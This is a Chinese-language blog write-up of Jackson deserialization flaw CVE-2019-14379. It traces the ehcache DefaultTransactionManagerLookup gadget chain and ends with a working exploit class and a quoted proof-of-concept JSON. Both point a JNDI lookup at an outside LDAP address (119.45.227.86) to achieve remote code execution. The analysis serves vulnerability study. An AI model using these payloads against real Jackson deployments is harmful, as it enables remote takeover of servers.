最近想著分析jackson,jackson和fastjson有點相似,淺藍大神的文章很好,個人受益匪淺

  昨天簡單說了下jackson的用法,現在繼續拓撲,補充前置知識,前置知識補充的足夠多,那麼漏洞分析也不是難事了:

   昨天忘了說的一個jackson知識點就是序列化和反序列化的時候,setName和getName呼叫順序:

    Student.java:

    

package com.test.JackSonTest;

public class Student{
private String name;
private Integer age;
private Teacher teacher; public Student(){
System.out.println("student構造方法被呼叫");
}; public String getName() {
System.out.println(11111);
return name;
} public void setName(String name) {
System.out.println(2222);
this.name = name; } public Integer getAge() {
return age;
} public void setAge(Integer age) {
this.age = age;
} public Teacher getTeacher() {
return teacher;
} public void setTeacher(Teacher teacher) {
this.teacher = teacher;
} @Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}

  在setName和getName處,新增輸出語句:

    呼叫測試類:

    jackson序列化和反序列化:

@Test
public void test2() throws IOException {
//序列化 物件轉json字串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串時,在值上打印出物件型別
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字串轉物件
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}

  輸出結果:

   

student構造方法被呼叫
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student構造方法被呼叫
2222
teacher構造方法被呼叫
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 結論:在序列化的時候呼叫set*,然後呼叫get*方法,反序列化的時候會呼叫set*方法,不會呼叫get*方法,呼叫反序列化的json資料對應的類構造方法

   CVE-2019-14379漏洞分析:

  影響jackson到2.9.9.1:

   這個漏洞還是比較有意思的,其他的cve,我都看了下,都比較簡單:

   先安裝漏洞環境依賴:

      pom.xml:

<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency> <dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>2.10.6</version>
</dependency> <dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>6.0</version>
</dependency>

  單單有ehcache依賴是不行的,還得有javaee包,否則呼叫ehcache的時候,會提示找不到!

    反序列化的惡意類是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup

    因為程式碼量的原因,直接靜態除錯了,不是很難,通過反射進入程式碼:

    進入類:

   找到這段程式碼:

    

    

 public void setProperties(Properties properties) {
if (properties != null) {
String jndiName = properties.getProperty("jndiName");
if (jndiName != null) {
this.defaultJndiSelector.setJndiName(jndiName);
}
} }

  獲取jndiName的值,然後設定jndiName:

  繼續看這個類的其他方法:

      

  

public DefaultTransactionManagerLookup() {
this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
}

    定義陣列,儲存了這些資料,其中包含了this.defaultJndiSelector,這是重點,等下會用到

   this.defaultJndiSelector的來源:

    

    

private final JndiSelector defaultJndiSelector = new GenericJndiSelector();

  發現defaultJndiSelector例項化了GenericJndiSelector

    這個等下要用到,這個先標記下.

    繼續看這個類的其他方法:getTransactionManager():

    

  程式碼如下:

      

 public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock(); try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
} return this.selector.getTransactionManager();
}

    跟進去this.lookupTransactionManager():

    

  其中

 Selector[] var1 = this.transactionManagerSelectors;
int var2 = var1.length;

  獲取的陣列內容,就是DefaultTransactionManagerLookup類提供的,繼續往下走程式碼:

  

  跟進去:

    

  

public TransactionManager getTransactionManager() {
if (this.transactionManager == null) {
this.transactionManager = this.doLookup();
} return this.transactionManager;
}

  呼叫this.doLookup()方法:

    跟進去:

    

  跟進到了Selector類,發現這是個抽象類:

  以前寫文章說過,java基礎:抽象類方法的實現在他的子類繼承,如果想實現抽象類中的方法,需要子類繼承父類,然後重寫方法.

  尋找他的子類:

    

  跟進去看看:

    

  快速找doLookup的具體實現:

  

  把程式碼搞出來:

  

protected TransactionManager doLookup() {
InitialContext initialContext;
try {
initialContext = new InitialContext();
} catch (NamingException var14) {
LOG.debug("cannot create initial context", var14);
return null;
} try {
TransactionManager var3;
try {
Object jndiObject = initialContext.lookup(this.getJndiName());
if (jndiObject instanceof TransactionManager) {
var3 = (TransactionManager)jndiObject;
return var3;
}

   發現呼叫lookup,遠端呼叫我們的jndiName,jndiName可以通過properties設定:

Object jndiObject = initialContext.lookup(this.getJndiName());

  

  至此都分析完了,觸發jndi遠端呼叫的檔案是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class

  只要我們設定我們的jndiName為惡意地址,並且呼叫getTransactionManager方法,即可實現rce:

  構造exp:

  

package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer; import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties; public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("org.jdom.transform.XSLTransformer");
Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
Object o = objectMapper.readValue(json2, Object.class);
objectMapper.writeValueAsString(o);
}
}

    這裡要writeValueAsString序列化一次,是因為只有呼叫get方法的時候才能觸發lookup遠端呼叫,所以這裡需要序列化一次

  執行程式碼:

  關於惡意json的構造,參考一開始寫的測試類中序列化的生成,我是根據序列化生成json反推出來的惡意json

  淺藍提供的exp是:

    

 String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";

  這邊執行提示我json格式錯誤...

  真的學到了不少哈哈哈,還是比較有意思的,雖然實戰很雞肋..

  漏洞分析參考文章:

    https://b1ue.cn/archives/189.html